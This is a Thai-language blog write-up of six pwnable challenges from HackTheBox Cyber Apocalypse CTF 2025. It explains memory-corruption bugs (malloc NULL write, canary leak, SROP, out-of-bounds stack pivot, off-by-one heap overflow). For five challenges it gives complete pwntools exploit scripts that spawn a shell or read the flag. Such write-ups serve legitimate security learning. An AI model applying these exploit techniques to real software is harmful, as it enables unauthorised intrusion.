[Pwnable] HackTheBox Cyber Apocalypse CTF 2025

pwn8pwn8
16 min read

วีคที่แล้วไปเล่น Cyber Apocalypse CTF ของ HackTheBox มาโดยตีมงานปีนี้เป็นตีมแฟนตาซี(แต่หวดโจทย์อย่างเดียวไม่ได้ซึมซับเนื้อหาเท่าไร lol) โจทย์ Pwnable ปีนี้ยากกว่าปีที่แล้วเล็กน้อย แต่ไม่ได้ถือว่ายากมาก ใครสนใจลองไปเล่นดูครับ เสียดายที่ปีนี้ติดธุระเลยไม่ได้ทำให้ครบทุกข้อ กับติดโง่ ๆ หลายข้อเลยเสียเวลาเยอะไปหน่อย ถ้ามีเวลาว่างเยอะกว่านี้น่าจะ Solve ได้หมด ไม่เป็นไรปีหน้าเอาใหม่แต่ปีนี้มาเริ่มข้อแรกกันก่อน


Pwn - Blessing - Very Easy

Binary Security:

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc/'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

ข้อนี้ Binary ให้มาใน function main สั้น ๆ โดยที่โจทย์ต้องการให้เราเขียนค่าที่ตำแหน่ง heap_with_leak_addr ให้เป็น NULL [2] ผมได้ reverse ได้โปรแกรมหน้าตาประมาณนี้

undefined8 main(void)

{
  long in_FS_OFFSET;
  size_t size;
  ulong local_28;
  long *heap_with_leak_addr;
  void *heap2;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  banner();
  size = 0;
  heap_with_leak_addr = (long *)malloc(0x30000);
  *heap_with_leak_addr = 1;
  printstr(
          "In the ancient realm of Eldoria, a roaming bard grants you good luck and offers you a gif t!\n\nPlease accept this: "
          );
  printf("%p",heap_with_leak_addr);      // [4] Leak target addr LOL 
  sleep(1);
  for (local_28 = 0; local_28 < 0xe; local_28 = local_28 + 1) {
    printf("\b \b");
    usleep(60000);
  }
  puts("\n");
  printf("%s[%sBard%s]: Now, I want something in return...\n\nHow about a song?\n\nGive me the song\ 's length: "
         ,&DAT_00102063,&DAT_00102643,&DAT_00102063);
  __isoc99_scanf(&DAT_001026b1,&size);
  heap2 = malloc(size);            // [1] Malloc with controllable size 
  printf("\n%s[%sBard%s]: Excellent! Now tell me the song: ",&DAT_00102063,&DAT_00102643,
         &DAT_00102063);
  read(0,heap2,size);
  *(undefined8 *)((long)heap2 + (size - 1)) = 0; // [3] write NULL AT heap2[size-1]
  write(1,heap2,size);
  if (*heap_with_leak_addr == 0) { // [2] Win condition
    read_flag();
  }
  else {
    printf("\n%s[%sBard%s]: Your song was not as good as expected...\n\n",&DAT_001026e9,
           &DAT_00102643,&DAT_001026e9);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

ข้อนี้ง่าย ๆ จะบอกว่าเป็นบัคมั้ย? จริง ๆ มันคือการทำงานปกติของ malloc ถ้าเราไปอ่าน Manpage ของ malloc ก็จะพบข้อมูลนี้อยู่แล้ว คือถ้าเรา allocate ค่าเกิน PTRDIFF_MAX (เท่าไรไม่รู้ ไป search ดู) จะถือว่าเป็น Err และ Return NULL

งั้นแปลว่าถ้าเรา malloc ขอ size ในขนาดที่เกินจาก PTRDIFF_MAX ค่าของ heap2 จะเป็น NULL จะทำให้ งั้นถ้าเราใส่ Size เป็น address+1 เราจะสามารถไปเขียน NULL ที่ address นั้นได้จาก code ในส่วนที่ [3]

// heap = 0
// size = 0x123456+1
*(undefined8 *)((long)heap2 + (size - 1)) = 0;
// *(0+0x123456) = 0;

ซึ่งถ้าถามว่าต้องไปเขียนที่ไหน โจทย์ข้อนี้ใจดี แจก Heap Address ที่ต้องเขียนมาให้ [4] ไม่ต้องไปหาเอง lol

ข้อนี้ไม่ต้องเขียน exploit ก็ได้ เอาค่า address ที่โจทย์ส่งมาให้ไป +1 แล้วตอบ แค่นี้ก็ได้ flag แล้ว

Full Exploit

#!/usr/bin/env python3

from pwn import *
"""

"""
# Load the binary
exe = ELF("blessing")

# Set context
context.binary = exe
# context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']

# shortcuts
ru          = lambda a:         p.readuntil(a)
r           = lambda n:         p.read(n)
rl          = lambda :         p.recvline()
sla         = lambda a,b:       p.sendlineafter(a,b)
sa          = lambda a,b:       p.sendafter(a,b)
sl          = lambda a:         p.sendline(a)
s           = lambda a:         p.send(a)

def conn():
    if args.LOCAL:
        p = process([exe.path])
    elif args.GDB:
        p = process([exe.path])
        gdb.attach(p, gdbscript="b *main+391")
    else:
        p = remote("X", 1) 
    return p

def main():
    global p
    p = conn()

    # Step 1: Leak the address of heap_with_leak_addr
    ru(b"Please accept this: ")
    heap_with_leak_addr = int(r(14).strip(), 16)
    log.info(f"Leaked heap_with_leak_addr: {hex(heap_with_leak_addr)}")
    sla(b"length: ", str(heap_with_leak_addr+1).encode())
    sl(b"")
    p.interactive()

if __name__ == "__main__":
    main()

Pwn - Quack Quack - Very Easy

Binary Security

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'./glibc/'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

ข้อนี้บัคอยู่ที่ function duckling โดยเป็น Buffer overflow ทั่วไปแต่มี gimmick เล็ก ๆ เป็นการให้เราใส่ “Quack Quack” เพื่อไป Leak Canary แล้วก็ overflow ไปทับ saved RIP ของ function duckling นั่นเอง


void duckling(void)

{
  char *pcVar1;
  long in_FS_OFFSET;
  char local_88 [32];
[Snipped]
  long Canary = *(long *)(in_FS_OFFSET + 0x28);
  local_88[0-0x1f] = '\0';
[Snipped]

  printf("Quack the Duck!\n\n> ");
  fflush(stdout);
  read(0,local_88,102);
  pcVar1 = strstr(local_88,"Quack Quack "); 
  if (pcVar1 == (char *)0x0) {
    error("Where are your Quack Manners?!\n");
                    /* WARNING: Subroutine does not return */
    exit(0x520);
  }
  printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20); // [1] pcVar1+0x20
  read(0,&local_68,0x6a); // [2] overflow here 
  puts("Did you really expect to win a fight against a Duck?!\n");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

โดยเราจะเห็นเราจะ printf ในตำแหน่งที่ถัดจากคำว่า “Quack Quack “ ไปอีก 0×20 ตำแหน่ง[1]

printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20); // [1] pcVar1+0x20

งั้นเราก็แค่ align ให้ตำแหน่งของที่ printf ไปที่ canary เราก็จะได้ canary มาแล้ว

จากนั้นเมื่อเราได้ canary แล้วเราก็ overflow ไปทับ canary เสมือนว่าค่าไม่เคยถูกเปลี่ยนแปลง และก็ทับ saved rip จากการ overflow ที่นั่นเอง [2]

  read(0,&local_68,0x6a); // [2] overflow here

ข้อนี้เราไม่ต้อง rop ให้ยุ่งยางเพราะเค้าเตรียม function มาให้ใช้อยู่แล้ว แถม Binary ไม่ได้เปิด PIE เราแค่เอา address ของ dick_attack ไปแปะเท่านั้นเอง


void dick_attack(void)
{
  ssize_t sVar1;
  long in_FS_OFFSET;
  char local_15;
  int local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = open("./flag.txt",0);
  if (local_14 < 0) {
    perror("\nError opening flag.txt, please contact an Administrator\n");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  while( true ) {
    sVar1 = read(local_14,&local_15,1);
    if (sVar1 < 1) break;
    fputc((int)local_15,stdout);
  }
  close(local_14);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Full Exploit

#!/usr/bin/env python3

from pwn import *

exe = ELF("quack_quack")

context.binary = exe
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']


# Shortcut
ru          = lambda a:         p.readuntil(a)
r           = lambda n:         p.read(n)
rl           = lambda :         p.recvline()
sla         = lambda a,b:       p.sendlineafter(a,b)
sa          = lambda a,b:       p.sendafter(a,b)
sl          = lambda a:         p.sendline(a)
s           = lambda a:         p.send(a)


def conn():
    if args.LOCAL:
        p = process([exe.path])
    elif args.GDB:
        p = process([exe.path])
        gdb.attach(p, gdbscript="""
        b *duckling+292
        b *duckling+216
        """)
    else:
        p = remote("X", 1)
    return p


def main():
    global p
    p = conn()
    # good luck pwning :)
    buf = flat({89:b"Quack Quack "})
    sla(b">", buf)
    # leak canary 
    ru("Quack Quack ")
    canary = u64(r(7).ljust(8, b"\x00"))<<8 # last byte is NULL
    print(f"canary: {hex(canary)}")

    buf2 = flat({0x58:p64(canary), 0x68:p64(0x00040137f)})
    sla(b">", buf2)
    p.interactive()


if __name__ == "__main__":
    main()

Pwn - Laconic - Easy

Binary Security:

    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x42000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

ข้อนี้ Permission ประหลาด ไม่มี Protection อะไรเลย แต่เป็นอีกข้อที่เสียเวลาแบบโง่ ๆ เพราะลืมสิ่งที่เรียกว่า SROP LOL

ก่อนไปหวดเรามีดู Code กันก่อนว่าโปรแกรมนี้มันทำงานอะไร


                             undefined processEntry entry()
             undefined         <UNASSIGNED>   <RETURN>
                             _start                                          XREF[4]:     Entry Point(*), 00042018(*), 
                             __start                                                      00042088(*), 
                             entry                                                        _elfSectionHeaders::00000050(*)  
        00043000 48 c7 c7        MOV        RDI,0x0
                 00 00 00 00
        00043007 48 89 e6        MOV        RSI,RSP
        0004300a 48 83 ee 08     SUB        RSI,0x8
        0004300e 48 c7 c2        MOV        RDX,0x106
                 06 01 00 00
        00043015 0f 05           SYSCALL
        00043017 c3              RET
        00043018 58              ??         58h    X
        00043019 c3              ??         C3h

แหม ไม่มีแม้กระทั่ง main ข้อนี้หลัก ๆ คือมันเรียก sys_write(0, rsp-0×8, 0×106) ซึ่งคือ Buffer overflow ธรรมดา ความยากของข้อนี้ไม่ใช่การหาบัคแต่เป็นการ exploit มากกว่า ตอนแรกนึกว่าต้อง jmp rsp ลง shellcode แต่ก็ไม่มี gadget

เลยคิดว่างั้นต้อง rop เรียก sys_execve() แต่หา gadget ที่ control rdi ไม่เจอ

เจอแค่ตัวเดียวที่พอจะมีประโยชน์คือ

0x0000000000043018: pop rax; ret;

ซึ่งถ้าเราไปดู Syscall table คือเราสามารถ control ได้ว่าเราจะเลือก syscall ไหน แต่ถ้าเราจะ execute command ยังไงก็ต้อง control rdi,rsi อยู่ดี

สุดท้ายเลยถาม Grok ว่ามี syscall ไหนบ้างที่ spawn shell ได้ น้องลิสท์มาให้เลยเจอกับ syscall_rt_sigreturn เลยจำได้ว่าเอ่อมันมี SROP อยู่นี่นา condition ตรงด้วยคือ control rax และ stack เพื่อใส่ context ได้ แค่นี้ก็เรียก command อะไรก็ได้แล้ว เป็นท่าที่ไม่ค่อยได้ใช้เท่าไรเพราะมันง่ายจนไม่ค่อยมีที่ไหนออกโจทย์เลยลืม 🤦‍♂️(แบบนี้นับว่ายากป่ะนะ 🤣)

Full Exploit

#!/usr/bin/env python3

from pwn import *

exe = ELF("laconic")

context.binary = exe
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']


# Shortcut
ru          = lambda a:         p.readuntil(a)
r           = lambda n:         p.read(n)
rl           = lambda :         p.recvline()
sla         = lambda a,b:       p.sendlineafter(a,b)
sa          = lambda a,b:       p.sendafter(a,b)
sl          = lambda a:         p.sendline(a)
s           = lambda a:         p.send(a)


def conn():
    if args.LOCAL:
        p = process([exe.path])
    elif args.GDB:
        p = process([exe.path])
        gdb.attach(p, gdbscript="b *_start+25")
    else:
        p = remote("X", 1)
    return p


def main():
    global p
    p = conn()
    binsh =  0x43238 
    # good luck pwning :)
    buf = b"/bin/sh\x00" #  why? 
    frame = SigreturnFrame()
    frame.rax = 59          # Syscall number for execve
    frame.rdi = binsh # Address of "/bin/sh"
    frame.rsi = 0           # argv = NULL
    frame.rdx = 0           # envp = NULL
    frame.rip = 0x0000000000043015 # Return to `syscall; ret` to execute the syscall
    frame.rsp = 0xdeadbeef  # Fake stack pointer (adjust as needed)
    buf += p64(0x0000000000043018) # pop rax; ret;
    buf += p64(0xf)                # rax = 0xf ; rt_sigreturn
    buf += p64(0x0000000000043015) # syscall ret
    buf += bytes(frame)
    sl(buf)

    p.interactive()


if __name__ == "__main__":
    main()

Pwn - Crossbow - Easy

Binary Security:

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

ข้อนี้ Flow การทำงานหลัก ๆ จะอยู่ที่ function target_dummy ข้อนี้บัคหาง่ายมากอยากให้ลองหาดูก่อนเฉลยนะครับ

void training(void)

{
  long target_arr [4];

  printf("%s\n[%sSir Alaric%s]: You only have 1 shot, don\'t miss!!\n",&DAT_0040b4a8,&DAT_0040b00e,
         &DAT_0040b4a8);
  target_dummy(target_arr);
  printf("%s\n[%sSir Alaric%s]: That was quite a shot!!\n\n",&DAT_0040b4a8,&DAT_0040b00e,
         &DAT_0040b4a8);
  return;
}

void target_dummy(long *target_arg)

{
  int iVar1;
  long idx;
  void *buf;
  char *pcVar2;
  long idx_;

  printf("%s\n[%sSir Alaric%s]: Select target to shoot: ",&DAT_0040b4a8,&DAT_0040b00e,&DAT_0040b4a8)
  ;
  iVar1 = scanf("%d%*c",&idx_);
  if (iVar1 != 1) {
    printf("%s\n[%sSir Alaric%s]: Are you aiming for the birds or the target kid?!\n\n",
           &DAT_0040b4e4,&DAT_0040b00e,&DAT_0040b4e4);
                    /* WARNING: Subroutine does not return */
    exit(0x520);
  }
  idx = (long)(int)idx_;
  buf = calloc(1,0x80);
  target_arg[idx] = (long)buf;
  if (target_arg[idx] == 0) {
    printf("%s\n[%sSir Alaric%s]: We do not want cowards here!!\n\n",&DAT_0040b4e4,&DAT_0040b00e,
           &DAT_0040b4e4);
                    /* WARNING: Subroutine does not return */
    exit(0x1b39);
  }
  printf("%s\n[%sSir Alaric%s]: Give me your best warcry!!\n\n> ",&DAT_0040b4a8,&DAT_0040b00e,
         &DAT_0040b4a8);
  pcVar2 = fgets_unlocked((char *)target_arg[(int)idx_],0x80,(FILE *)__stdin_FILE);
  if (pcVar2 == (char *)0x0) {
    printf("%s\n[%sSir Alaric%s]: Is this the best you have?!\n\n",&DAT_0040b4e4,&DAT_0040b00e,
           &DAT_0040b4e4);
                    /* WARNING: Subroutine does not return */
    exit(0x45);
  }
  return;
}

.

.

.

.

เฉลย
บัคคือ out-of-bound write ที่เราสามารถใส่ idx เป็นค่าอะไรก็ได้นั่นเอง

จาก code จะเห็นตรง ๆ เลยว่าเรารับ idx เข้ามาเป็น int และไม่ได้มีการ validate ใด ๆ เลยแปรว่าเราจะใส่ค่าติดลบหรือใหญ่กว่า target_arg ก็ได้

 iVar1 = scanf("%d%*c",&idx_);
  if (iVar1 != 1) {
    printf("%s\n[%sSir Alaric%s]: Are you aiming for the birds or the target kid?!\n\n",
           &DAT_0040b4e4,&DAT_0040b00e,&DAT_0040b4e4);
                    /* WARNING: Subroutine does not return */
    exit(0x520);
  }
  idx = (long)(int)idx_;
  buf = calloc(1,0x80);
  target_arg[idx] = (long)buf; // [1] OOB write

คำถามคือจะเขียนตรงไหนดี จริง ๆ จุดนี้เป็น common mistake ที่ชอบพลาดผมเองก็เป็นบ่อย คือชอบ Focus ไปที่การทับ saved rip เพื่อ hijack control flow เลยอาจมองพลาดไป

ข้อนี้เราไม่สามารถทับ saved rip ได้ตรง ๆ เพราะจะเห็นว่าค่าที่เราไปทับเป็น ptr ของ buf ไม่ใช่ค่า buf ที่เราเขียนไว้ [1] และข้อนี้ก็เปิด NX Protection ทำให้ไม่สามารถ execute shellcode ใน buf ได้

ถ้างั้นเราไปเขียนที่ไหนดีละ?

คำตอบคือเราจะไปเขียนที่ saved rbp เมื่อโปรแกรมถึง instruction leave ก็จะเอา ptr ของ buf เราไปเป็น rsp ของ function ก่อนหน้าและเมื่อ ret อีกรอบก็จะกลับที่ buf ของเราที่เรา control ได้ซึ่งเราสามารถใส่ payload ได้ที่ตรงนี้

ถ้าเราซูมเข้าไปดูที่ assembly ตอนที่ set ค่า target_arg[idx]=buf จะได้หน้าตาประมาณนี้

rax=0x7ffca85a78a0 ← target_arg[0] —> Stack address
rdx=0xffffffffffffff00 ← idx (8*-2)

ซึ่งในเคสนี้เราจะเขียนทับที่ตำแหน่ง target_arg[-2] เหมือนที่โชว์ในวงสีแดง (ส่วน target_arg[0] จะเป็นวงสีเขียว)

เมื่อเรา execute leave ใน function target_dummy จะเห็นว่า rbp เราชี้ไปที่ตำแหน่งที่เรา control ค่าได้

และเมื่อเรา execute leave ใน function training จะเห็นว่าเราสามารถ pivot stack ไปที่ heap ของเราและ Hijack control flow ผ่านการทำ ROP ได้

ข้อนี้ก็สามารถ Solve ได้ง่าย ๆ ด้วยการทำ rop ไป execve /bin/sh ก็ได้

Full Exploit

#!/usr/bin/env python3

from pwn import *

exe = ELF("crossbow")

context.binary = exe
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']


# Shortcut
ru          = lambda a:         p.readuntil(a)
r           = lambda n:         p.read(n)
rl           = lambda :         p.recvline()
sla         = lambda a,b:       p.sendlineafter(a,b)
sa          = lambda a,b:       p.sendafter(a,b)
sl          = lambda a:         p.sendline(a)
s           = lambda a:         p.send(a)


def conn():
    if args.LOCAL:
        p = process([exe.path])
    elif args.GDB:
        p = process([exe.path])
        gdb.attach(p, gdbscript="""
                   b *target_dummy+354
                   b *target_dummy+176
                   b *0x040126f
                   """)
    else:
        p = remote("X", 1)

    return p

def get_rop():
    """
     ropper -f crossbow --chain "execve cmd=/bin/sh"
    """
    IMAGE_BASE_0 = 0x0000000000400000 # 7bf5f772c59b6cc7854de1212fa8c99ec9bf25e33a4b0cd6c251200852dd2c2b
    rebase_0 = lambda x : p64(x + IMAGE_BASE_0)

    rop = b''

    rop += rebase_0(0x0000000000001001) # 0x0000000000401001: pop rax; ret;
    rop += b'/bin/sh\x00'
    rop += rebase_0(0x0000000000001d6c) # 0x0000000000401d6c: pop rdi; ret;
    rop += rebase_0(0x000000000000e000)
    rop += rebase_0(0x00000000000020f5) # 0x00000000004020f5: mov qword ptr [rdi], rax; ret;
    rop += rebase_0(0x0000000000001001) # 0x0000000000401001: pop rax; ret;
    rop += p64(0x000000000000003b)
    rop += rebase_0(0x000000000000566b) # 0x000000000040566b: pop rsi; ret;
    rop += rebase_0(0x000000000000e010)
    rop += rebase_0(0x0000000000001139) # 0x0000000000401139: pop rdx; ret;
    rop += rebase_0(0x000000000000e010)
    rop += rebase_0(0x0000000000004b51) # 0x0000000000404b51: syscall; ret;
    # print(rop)
    return rop

def main():
    global p
    p = conn()
    # rop syscall execve

    # good luck pwning :)
    sla(b"shoot:", b"-2")
    buf = flat({8:get_rop()})
    sla(b">", buf)
    p.interactive()


if __name__ == "__main__":
    main()

Pwn - Contractor - Medium

Binary Security:

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc/'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

ข้อนี้แอบยาวถ้าให้แคปโปรแกรมมาเต็ม ๆ หน้าตา Program เป็นแบบนี้ หลัก ๆ ให้ใส่ name, reason, age, specialty และจะมี print ข้อมูลทั้งหมดออกมารอบนึง

Struct ที่เก็บข้อมูลหน้าตาประมาณนี้

OffsetTypeName
0x0char[16]name
0x10char[256]reason
0x110longage
0x118char[16]specialty

ก่อนจะให้แก้ข้อมูลบางตัวที่ต้องการแก้โดยที่ไม่ print อีกรอบแล้วจึงจบการทำงาน

บัคแรก: Information Disclosure → Leak Binary Address

จาก struct ด้านบนเราจะเห็นว่า contractor→specialty มีความยาว 0×10 byte และรับค่ามาที่ละ 1 Byte แล้วเอาไปเขียนลง Stack ดูเผิน ๆ อาจจะมองไม่เห็นว่าบัคอยู่ตรงไหน มันก็รับ แค่ 0×10 ตัวเหมือนกันหนิ


  printf("\n[%sSir Alaric%s]: You sound mature and experienced! One last thing, you have a certain s pecialty in combat?\n\n> "
         ,&DAT_0010203e,&DAT_00102008);
  for (i = 0; i < 0x10; i = i + 1) {
    *(undefined8 *)((long)piVar5 + -0x138) = 0x10167f;
    read(0,&safe_buffer,1);
    if (safe_buffer == '\n') break;
    contractor->specialty[(int)i] = safe_buffer;
  }

ถ้าเราจะไปดูที่ Stack ตอน Debug จะเห็นว่า Stack หน้าตาแบบนี้ครับ นั่นแน่ จะเห็นว่ามี address ที่ติดอยู่กับ contractor→specialty ทำให้ตอนที่เรา printf จะสามารถ leak ค่า address ของ binary มาได้ซึ่งเราเอาไปคำนวนหา base address แล้วจะไปคำนวนหา function ไหนก็ได้แล้ว

โดยเฉพาะโปรแกรมนี้มี primitive function มาด้วยทำให้เรา hijack control flow ไปที่ function contract ก็จะได้ shell เบย

void contract(void)

{
  long lVar1;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  execl("/bin/sh","sh",0);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

บัคสอง: Buffer Overflow ตอน edit specialty

อันนี้อ่านโค้ดด้านล่างก็จะเห็นแล้วว่ามันรับค่ามาใหญ่กว่า size ของ contract→specialty จากที่เห็นในตำแหน่งที่ [1]

    if (local_28 == 4) {
      *(undefined8 *)((long)piVar5 + -0x138) = 0x101931;
      printf("\n%s[%sSir Alaric%s]: And what are you good at: ",&DAT_00102008,&DAT_0010203e,
             &DAT_00102008);
      for (i = 0; i < 0x100; i = i + 1) { // [1] 0x100 ????
        *(undefined8 *)((long)piVar5 + -0x138) = 0x101953;
        read(0,&safe_buffer,1);
        if (safe_buffer == '\n') break;
        contractor->specialty[(int)i] = safe_buffer;
      }
      local_24 = local_24 + 1;
    }

พอเราเอา 2 บัคมา Chain กันเราก็สามารถ Bypass PIE (จากการ leak address) และ Overflow เอา contract ไปทับ saved rip ก็จบแล้ว GGEZ

.

.

.

.

ลืมว่ามี Stack Canary🤦‍♂️🤦‍♂️🤦‍♂️

ข้อนี้เสียเวลาอยู่นานมากกับการหาวิธี Leak Stack Canary จนข้ามไปทำอีกข้อก่อนค่อยกลับมาทำ ข้อนี้ที่พลาดคือ Focus ไปที่การหาวิธี leak canary จนลืมไปว่าจริง ๆ เราสามารถใช้วิธีอื่น Bypass ได้หนิ ไม่จำเป็นต้อง Leak

ตั้งสติ

หลังจากตั้งสติได้แล้วลองกลับมา debug ดูช้า ๆ โดยการใส่ Payload ของ contractor→specialty เป็น AAAAAAAABBBBBBBBCCCCCCCDDDDDDDD\x2f

เมื่อเราใส่ไปจนถึงตัวที่ 32 ตัวต่อไปจะเป็น \x2f จะเห็นว่า mov byte ptr [rdx + rax + 0x118], cl จะทำการเขียนค่า \x2f ลงไปที่ตำแหน่ง 0x7fffffffc248 ซึ่งมีค่าเป็น 0x7fffffffc110 ถามว่าแล้วไงต่อ ก็แค่ทับ address อีกตัวหนิ

จริง ๆ แล้วไม่แค่ เพราะ 0x7fffffffc110 ptr ของ contractor ทำให้ครั้งต่อไปที่โปรแกรมทำการ Loop มาเขียนในรอบที่ 34 จะทำให้การคำนวนตำแหน่งที่เขียนเปลี่ยนไปทำให้เราสามารถ write ข้าม canary ไปทับ saved rip ได้ งี้ก็ GGEZ ดิครัฟ rop ก็ไม่ต้อง craft หวดเข้า contract ได้เลย

Full Exploit? มันมี ASLR ลองหลายทีหน่อยเดี้ยวก็ได้เอง lol

#!/usr/bin/env python3

from pwn import *

exe = ELF("contractor")

context.binary = exe
# context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']


# Shortcut
ru          = lambda a:         p.readuntil(a)
r           = lambda n:         p.read(n)
rl           = lambda :         p.recvline()
sla         = lambda a,b:       p.sendlineafter(a,b)
sa          = lambda a,b:       p.sendafter(a,b)
sl          = lambda a:         p.sendline(a)
s           = lambda a:         p.send(a)


def conn():
    if args.LOCAL:
        p = process([exe.path])
    elif args.GDB:
        p = process([exe.path])
        gdb.attach(p, gdbscript="""
                   b *main+1309
                   b *main+1666
                   """)
    else:
        p = remote("X", 1)

    return p


def main():
    global p
    p = conn()

    # good luck pwning :)
    # name
    sla(b">", b"")
    # reason
    sla(b">", b"")
    # age
    sla(b">", b"-")
    # speacailty
    sa(b">", b"X"*0x10) 

    # leak addr
    ru(b"XXXXXXXXXXXXXXXX")
    leak = rl().strip().ljust(8, b"\x00")
    leak = u64(leak)
    exe.address = leak - 6992
    print(f"Leaked addr: {hex(leak)}")
    print(f"Base addr: {hex(exe.address)}")
    print(f"contract addr: {hex(exe.sym["contract"])}")

    # overflow
    buf = b"A"*0x8
    buf += b"B"*0x8
    buf += b"C"*0x8
    buf += b"D"*0x8
    buf += bytes([0x2f])
    buf += p64(exe.sym["contract"])
    ru(b"correct")
    sla(b">", b"4")
    sla(b"at: ", buf)
    p.interactive()

main()

Pwn - Strategist - Medium

Binary Security:

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc/'
    Stripped:   No

ข้อนี้เป็น heap exploitation โดยเป็น heap overflow ที่เราเรียกกันว่า off by one โดยที่เรา overflow ไปทับได้แค่ 1 byte ซึ่งนั่นถือว่าเกินพอแล้วในการทำ heap exploitation

ข้อนี้ติดเพราะง่าวจำ alignment ของ heap ผิดเลยงงว่าจะ overflow ยังไง เข้าใจว่า heap ของ Libc บน x86-64 จะมี alignment คือต้องหาร 0×10 ลงตัวเสมอ เลยงงอยู่นานว่าจะ overflow ยังไง เพราะ allocate size ไหนก็มี padding (โง่ 5555)

ความจริงคือมัน alignment คือต้องหาร 0×8 ลงตัวจะทำให้ byte สุดท้ายของ chunk ไปติดกับ metadata ของ next chunk

มาดูโปรแกรมกันเบยหน้าตาหลัก ๆ จะมี 4 function เป็น heap note style ที่เรารัก lol

จะเห็นว่า create_plan ทำงานปกติไม่มีเขียนเกินสักตัว

void create_plan(long *plan_arr)

{
  long in_FS_OFFSET;
  int size;
  int iStack_1c;
  long *buf;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iStack_1c = check(plan_arr);
  if (iStack_1c == -1) {
    printf("%s\n[%sSir Alaric%s]: Don\'t go above your head kiddo!\n\n",&DAT_001013f0,&DAT_00101413,
           &DAT_001013f0);
                    /* WARNING: Subroutine does not return */
    exit(0x520);
  }
  printf("%s\n[%sSir Alaric%s]: How long will be your plan?\n\n> ",&DAT_001013e8,&DAT_00101413,
         &DAT_001013e8);
  size = 0;
  __isoc99_scanf(&DAT_001025b5,&size);
  buf = (long *)malloc((long)size);
  if (buf == (long *)0x0) {
    printf("%s\n[%sSir Alaric%s]: This plan will be a grand failure!\n\n",&DAT_001013f0,
           &DAT_00101413,&DAT_001013f0);
                    /* WARNING: Subroutine does not return */
    exit(0x520);
  }
  printf("%s\n[%sSir Alaric%s]: Please elaborate on your plan.\n\n> ",&DAT_001013e8,&DAT_00101413,
         &DAT_001013e8);
                    /* input null byte */
  read(0,buf,(long)size);
  plan_arr[iStack_1c] = (long)buf;
  printf("%s\n[%sSir Alaric%s]: The plan might work, we\'ll keep it in mind.\n\n",&DAT_00102630,
         &DAT_00101413,&DAT_00102630);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

แต่ function นี้มีกลิ่น lol จะเห็นว่ามันใช้ strlen ซึ่งจะไปนับรวมกับ metadata ที่ next chunk ด้วยทำให้เราแก้ไข metadata ของ next chunk ได้ ggez หวานครับข้อนี้

void edit_plan(long *plan_arr)

{
  size_t __nbytes;
  long in_FS_OFFSET;
  int idx;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("%s\n[%sSir Alaric%s]: Which plan you want to change?\n\n> ",&DAT_001013e8,&DAT_00101413,
         &DAT_001013e8);
  idx = 0;
  __isoc99_scanf(&DAT_001025b5,&idx);
  if (((-1 < idx) && (idx < 100)) && (plan_arr[idx] != 0)) {
    printf("%s\n[%sSir Alaric%s]: Please elaborate on your new plan.\n\n> ",&DAT_001013e8,
           &DAT_00101413,&DAT_001013e8);
    __nbytes = strlen((char *)plan_arr[idx]); // [1] len include next chunk metadata
    read(0,(void *)plan_arr[idx],__nbytes);   // [2] overwrite it ggez
    putchar(10);
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    return;
  }
  printf("%s\n[%sSir Alaric%s]: There is no such plan!\n\n",&DAT_001013f0,&DAT_00101413,
         &DAT_001013f0);
                    /* WARNING: Subroutine does not return */
  exit(0x520);
}

ที่เหลือเป็น delete ที่ทำการ free กับ show ผมขอข้ามนะ ไม่ได้มีอะไรส่งผลกับการหวด

แต่ก่อนจะไปเริ่มหวดกันเราควรรู้เวอร์ชันของ Libc ก่อนเพื่อที่จะได้วางแผนในการหวดได้ว่ามีข้อจำกัดอะไร หวดท่าไหนได้บ้าง

